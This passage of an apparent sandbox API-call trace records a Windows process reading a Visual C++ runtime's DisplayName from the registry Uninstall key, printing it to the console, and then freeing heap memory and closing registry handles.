(_File=0x7fefd702ab0) returned 1 [0148.670] _errno () returned 0xc4bb0 [0148.670] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.670] _errno () returned 0xc4bb0 [0148.670] GetFileType (hFile=0x50) returned 0x1 [0148.670] lstrlenW (lpString=" ") returned 4 [0148.670] GetConsoleOutputCP () returned 0x1b5 [0148.670] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.670] GetConsoleOutputCP () returned 0x1b5 [0148.670] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.670] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.670] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.670] __iob_func () returned 0x7fefd702a80 [0148.670] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.670] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x409") returned 5 [0148.670] _fileno (_File=0x7fefd702ab0) returned 1 [0148.670] _errno () returned 0xc4bb0 [0148.670] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.670] _errno () returned 0xc4bb0 [0148.671] GetFileType (hFile=0x50) returned 0x1 [0148.671] lstrlenW (lpString="0x409") returned 5 [0148.671] GetConsoleOutputCP () returned 0x1b5 [0148.671] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0148.671] GetConsoleOutputCP () returned 0x1b5 [0148.671] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x409", lpUsedDefaultChar=0x0) returned 5 [0148.671] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0148.671] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.671] __iob_func () returned 0x7fefd702a80 [0148.671] _fileno (_File=0x7fefd702ab0) returned 1 [0148.671] _errno () returned 0xc4bb0 [0148.671] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.671] _errno () returned 0xc4bb0 [0148.671] GetFileType (hFile=0x50) returned 0x1 [0148.671] lstrlenW (lpString="\n") returned 1 [0148.671] GetConsoleOutputCP () returned 0x1b5 [0148.671] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.671] GetConsoleOutputCP () returned 0x1b5 [0148.671] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.671] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.671] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.672] GetProcessHeap () returned 0x2e0000 [0148.672] GetProcessHeap () returned 0x2e0000 [0148.672] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.672] GetProcessHeap () returned 0x2e0000 [0148.672] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.672] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.672] RegEnumValueW (in: hKey=0x5c, dwIndex=0x18, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.672] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x80) returned 0x0 [0148.672] GetProcessHeap () returned 0x2e0000 [0148.672] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x82) returned 0x302970 [0148.672] GetProcessHeap () returned 0x2e0000 [0148.672] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0148.672] GetProcessHeap () returned 0x2e0000 [0148.672] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0x82 [0148.672] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x302970, pcbData=0x23f670*=0x80 | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Visual C++ 2017 x64 Additional Runtime - 14.10.25017", pcbData=0x23f670*=0x7e) returned 0x0 [0148.672] __iob_func () returned 0x7fefd702a80 [0148.672] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.672] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.672] _fileno (_File=0x7fefd702ab0) returned 1 [0148.672] _errno () returned 0xc4bb0 [0148.672] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.672] _errno () returned 0xc4bb0 [0148.672] GetFileType (hFile=0x50) returned 0x1 [0148.672] lstrlenW (lpString=" ") returned 4 [0148.672] GetConsoleOutputCP () returned 0x1b5 [0148.672] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.672] GetConsoleOutputCP () returned 0x1b5 [0148.673] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.673] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.673] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.673] lstrlenW (lpString="DisplayName") returned 11 [0148.673] __iob_func () returned 0x7fefd702a80 [0148.673] _fileno (_File=0x7fefd702ab0) returned 1 [0148.673] _errno () returned 0xc4bb0 [0148.673] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.673] _errno () returned 0xc4bb0 [0148.673] GetFileType (hFile=0x50) returned 0x1 [0148.673] lstrlenW (lpString="DisplayName") returned 11 [0148.673] GetConsoleOutputCP () returned 0x1b5 [0148.673] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0148.673] GetConsoleOutputCP () returned 0x1b5 [0148.673] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0148.673] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0148.673] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.673] __iob_func () returned 0x7fefd702a80 [0148.673] _fileno (_File=0x7fefd702ab0) returned 1 [0148.673] _errno () returned 0xc4bb0 [0148.673] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.673] _errno () returned 0xc4bb0 [0148.673] GetFileType (hFile=0x50) returned 0x1 [0148.673] lstrlenW (lpString=" ") returned 4 [0148.674] GetConsoleOutputCP () returned 0x1b5 [0148.674] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.674] GetConsoleOutputCP () returned 0x1b5 [0148.674] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.674] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.674] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.674] __iob_func () returned 0x7fefd702a80 [0148.674] _fileno (_File=0x7fefd702ab0) returned 1 [0148.674] _errno () returned 0xc4bb0 [0148.674] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.674] _errno () returned 0xc4bb0 [0148.674] GetFileType (hFile=0x50) returned 0x1 [0148.674] lstrlenW (lpString="REG_SZ") returned 6 [0148.674] GetConsoleOutputCP () returned 0x1b5 [0148.674] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.674] GetConsoleOutputCP () returned 0x1b5 [0148.674] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.674] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.674] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.675] __iob_func () returned 0x7fefd702a80 [0148.675] _fileno (_File=0x7fefd702ab0) returned 1 [0148.675] _errno () returned 0xc4bb0 [0148.675] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.675] _errno () returned 0xc4bb0 [0148.675] GetFileType (hFile=0x50) returned 0x1 [0148.675] lstrlenW (lpString=" ") returned 4 [0148.675] GetConsoleOutputCP () returned 0x1b5 [0148.675] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.675] GetConsoleOutputCP () returned 0x1b5 [0148.675] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.675] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.675] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.675] __iob_func () returned 0x7fefd702a80 [0148.675] _fileno (_File=0x7fefd702ab0) returned 1 [0148.675] _errno () returned 0xc4bb0 [0148.675] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.675] _errno () returned 0xc4bb0 [0148.675] GetFileType (hFile=0x50) returned 0x1 [0148.676] lstrlenW (lpString="Microsoft Visual C++ 2017 x64 Additional Runtime - 14.10.25017") returned 62 [0148.676] GetConsoleOutputCP () returned 0x1b5 [0148.676] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2017 x64 Additional Runtime - 14.10.25017", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0148.676] GetConsoleOutputCP () returned 0x1b5 [0148.676] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2017 x64 Additional Runtime - 14.10.25017", cchWideChar=62, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Visual C++ 2017 x64 Additional Runtime - 14.10.25017", lpUsedDefaultChar=0x0) returned 62 [0148.676] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 62 [0148.676] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.676] __iob_func () returned 0x7fefd702a80 [0148.676] _fileno (_File=0x7fefd702ab0) returned 1 [0148.676] _errno () returned 0xc4bb0 [0148.676] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.676] _errno () returned 0xc4bb0 [0148.676] GetFileType (hFile=0x50) returned 0x1 [0148.676] lstrlenW (lpString="\n") returned 1 [0148.676] GetConsoleOutputCP () returned 0x1b5 [0148.676] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.676] GetConsoleOutputCP () returned 0x1b5 [0148.677] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.677] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.677] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.677] GetProcessHeap () returned 0x2e0000 [0148.677] GetProcessHeap () returned 0x2e0000 [0148.677] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0148.677] GetProcessHeap () returned 0x2e0000 [0148.677] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0x82 [0148.677] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970 | out: hHeap=0x2e0000) returned 1 [0148.677] __iob_func () returned 0x7fefd702a80 [0148.677] _fileno (_File=0x7fefd702ab0) returned 1 [0148.677] _errno () returned 0xc4bb0 [0148.677] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.677] _errno () returned 0xc4bb0 [0148.677] GetFileType (hFile=0x50) returned 0x1 [0148.677] lstrlenW (lpString="\n") returned 1 [0148.677] GetConsoleOutputCP () returned 0x1b5 [0148.677] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.677] GetConsoleOutputCP () returned 0x1b5 [0148.677] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.677] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.677] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.678] GetProcessHeap () returned 0x2e0000 [0148.678] GetProcessHeap () returned 0x2e0000 [0148.678] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0) returned 1 [0148.678] GetProcessHeap () returned 0x2e0000 [0148.678] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bc0) returned 0x28 [0148.678] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0 | out: hHeap=0x2e0000) returned 1 [0148.678] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0148.678] GetProcessHeap () returned 0x2e0000 [0148.678] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0148.678] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}") returned 109 [0148.678] GetProcessHeap () returned 0x2e0000 [0148.678] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xde) returned 0x2ff9a0 [0148.678] GetProcessHeap () returned 0x2e0000 [0148.678] GetProcessHeap () returned 0x2e0000 [0148.678] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.678] GetProcessHeap () returned 0x2e0000 [0148.678] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0148.678] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.678] GetProcessHeap () returned 0x2e0000 [0148.678] GetProcessHeap () returned 0x2e0000 [0148.678] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0) returned 1 [0148.678] GetProcessHeap () returned 0x2e0000 [0148.678] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2ff9a0) returned 0xde [0148.678] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0 | out: hHeap=0x2e0000) returned 1 [0148.678] RegCloseKey (hKey=0x5c) returned 0x0 [0148.678] GetProcessHeap () returned 0x2e0000 [0148.678] GetProcessHeap () returned 0x2e0000 [0148.678] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fbb50) returned 1 [0148.678] GetProcessHeap () returned 0x2e0000 [0148.678] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fbb50) returned 0xb6 [0148.678] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fbb50 | out: hHeap=0x2e0000) returned 1 [0148.678] GetProcessHeap () returned 0x2e0000 [0148.678] GetProcessHeap () returned 0x2e0000 [0148.678] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fbc10) returned 1 [0148.678] GetProcessHeap () returned 0x2e0000 [0148.678] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fbc10) returned 0x144 [0148.678] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fbc10 | out: hHeap=0x2e0000) returned 1 [0148.678] RegCloseKey (hKey=0x58) returned 0x0 [0148.678] GetProcessHeap () returned 0x2e0000 [0148.678] GetProcessHeap () returned 0x2e0000 [0148.679] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fbd60) returned 1 [0148.679] GetProcessHeap () returned 0x2e0000 [0148.679] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fbd60) returned 0x1000 [0148.679] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fbd60 | out: hHeap=0x2e0000) returned 1 [0148.679] GetProcessHeap () returned 0x2e0000 [0148.679] GetProcessHeap () returned 0x2e0000 [0148.679] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb5f0) returned 1 [0148.679] GetProcessHeap () returned 0x2e0000 [0148.679] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb5f0) returned 0x18 [0148.679] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb5f0 | out: hHeap=0x2e0000) returned 1 [0148.679] GetProcessHeap () returned 0x2e0000 [0148.679] GetProcessHeap () returned 0x2e0000 [0148.679] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5b90) returned 1 [0148.679] GetProcessHeap () returned 0x2e0000 [0148.679] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5b90) returned 0x20 [0148.679] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5b90 | out: hHeap=0x2e0000) returned 1 [0148.679] GetProcessHeap () returned 0x2e0000 [0148.679] GetProcessHeap () returned 0x2e0000 [0148.679] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb750) returned 1 [0148.679] GetProcessHeap () returned 0x2e0000 [0148.679] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb750) returned 0x78 [0148.679] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb750 | out: hHeap=0x2e0000) returned 1 [0148.679] GetProcessHeap () returned 0x2e0000 [0148.679] GetProcessHeap () returned 0x2e0000 [0148.679] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb5d0) returned 1 [0148.679] GetProcessHeap () returned 0x2e0000 [0148.679] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb5d0) returned 0x18 [0148.679] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb5d0 | out: hHeap=0x2e0000) returned 1 [0148.679] GetProcessHeap () returned 0x2e0000 [0148.679] GetProcessHeap () returned 0x2e0000 [0148.679] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5ad0) returned 1 [0148.679] GetProcessHeap () returned 0x2e0000 [0148.679] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5ad0) returned 0x20 [0148.679] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5ad0 | out: hHeap=0x2e0000) returned 1 [0148.679] GetProcessHeap () returned 0x2e0000 [0148.679] GetProcessHeap () returned 0x2e0000 [0148.679] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5b60) returned 1 [0148.679] GetProcessHeap () returned 0x2e0000 [0148.679] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5b60) returned 0x1e [0148.679] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5b60 | out: hHeap=0x2e0000) returned 1 [0148.679] GetProcessHeap () returned 0x2e0000 [0148.679] GetProcessHeap () returned 0x2e0000 [0148.679] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb5b0) returned 1 [0148.680] GetProcessHeap () returned 0x2e0000 [0148.680] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb5b0) returned 0x18 [0148.680] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb5b0 | out: hHeap=0x2e0000) returned 1 [0148.680] GetProcessHeap () returned 0x2e0000 [0148.680] GetProcessHeap () returned 0x2e0000 [0148.680] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5aa0) returned 1 [0148.680] GetProcessHeap () returned 0x2e0000 [0148.680] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5aa0) returned 0x20 [0148.680] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5aa0 | out: hHeap=0x2e0000) returned 1 [0148.680] GetProcessHeap () returned 0x2e0000 [0148.680] GetProcessHeap () returned 0x2e0000 [0148.680] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb530) returned 1 [0148.680] GetProcessHeap () returned 0x2e0000 [0148.680] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb530) returned 0x2 [0148.680] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb530 | out: hHeap=0x2e0000) returned 1 [0148.680] GetProcessHeap () returned 0x2e0000 [0148.680] GetProcessHeap () returned 0x2e0000 [0148.680] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f58f0) returned 1 [0148.680] GetProcessHeap () returned 0x2e0000 [0148.680] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f58f0) returned 0x20 [0148.680] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f58f0 | out: hHeap=0x2e0000) returned 1 [0148.680] GetProcessHeap () returned 0x2e0000 [0148.680] GetProcessHeap () returned 0x2e0000 [0148.680] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5920) returned 1 [0148.680] GetProcessHeap () returned 0x2e0000 [0148.680] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5920) returned 0x20 [0148.680] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5920 | out: hHeap=0x2e0000) returned 1 [0148.680] GetProcessHeap () returned 0x2e0000 [0148.680] GetProcessHeap () returned 0x2e0000 [0148.680] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5950) returned 1 [0148.680] GetProcessHeap () returned 0x2e0000 [0148.680] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5950) returned 0x20 [0148.680] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5950 | out: hHeap=0x2e0000) returned 1 [0148.680] GetProcessHeap () returned 0x2e0000 [0148.680] GetProcessHeap () returned 0x2e0000 [0148.680] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5980) returned 1 [0148.680] GetProcessHeap () returned 0x2e0000 [0148.680] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5980) returned 0x20 [0148.680] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5980 | out: hHeap=0x2e0000) returned 1 [0148.680] GetProcessHeap () returned 0x2e0000 [0148.680] GetProcessHeap () returned 0x2e0000 [0148.680] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb550) returned 1 [0148.681] GetProcessHeap () returned 0x2e0000 [0148.681] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb550) returned 0x18 [0148.681] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb550 | out: hHeap=0x2e0000) returned 1 [0148.681] GetProcessHeap () returned 0x2e0000 [0148.681] GetProcessHeap () returned 0x2e0000 [0148.681] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f59b0) returned 1 [0148.681] GetProcessHeap () returned 0x2e0000 [0148.681] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f59b0) returned 0x20 [0148.681] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f59b0 | out: hHeap=0x2e0000) returned 1 [0148.681] GetProcessHeap () returned 0x2e0000 [0148.681] GetProcessHeap () returned 0x2e0000 [0148.681] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f59e0) returned 1 [0148.681] GetProcessHeap () returned 0x2e0000 [0148.681] RtlSizeHeap 